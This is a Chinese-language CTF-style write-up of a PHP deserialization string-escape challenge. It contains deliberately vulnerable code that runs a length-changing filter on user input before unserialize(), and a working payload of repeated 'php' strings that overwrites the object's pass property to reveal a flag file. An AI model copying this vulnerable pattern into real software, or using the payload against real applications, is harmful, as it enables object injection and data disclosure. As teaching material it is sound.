<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user) {
$this->user=$user;
}
}
$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
} 分析:过滤函数会匹配"flag","php"并替换为"hack",那么如果传入的都是php则会导致字符增加,可以构造字符串逃逸。要求$profile->pass=='escaping'才能获取flag
我们先随便构造一个test类,并序列化看看结构:
$a = new test('user');
echo serialize($a);
# O:4:"test":2:{s:4:"user";s:4:"user";s:4:"pass";s:8:"daydream";}那么我们就是要想办法让逃逸的字符把后面的pass属性值覆盖掉,那么我们可以构造user的值:
# 先确定大致的字符逃逸结构
$user='n个php";s:4:"pass";s:8:"escaping";}'
# ";s:4:"pass";s:8:"escaping";}' 总共29个字符,每1个php只能逃逸1字符,因此要29个
$user='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'
# 尝试序列化
$a = new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
echo filter(serialize($a));
# O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
# 反序列化测试
var_dump(unserialize(filter($param)));输出:
class test#1 (2) {
public $user =>
string(116) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack"
public $pass =>
string(8) "escaping"
}成功利用逃逸的字符修改了pass的值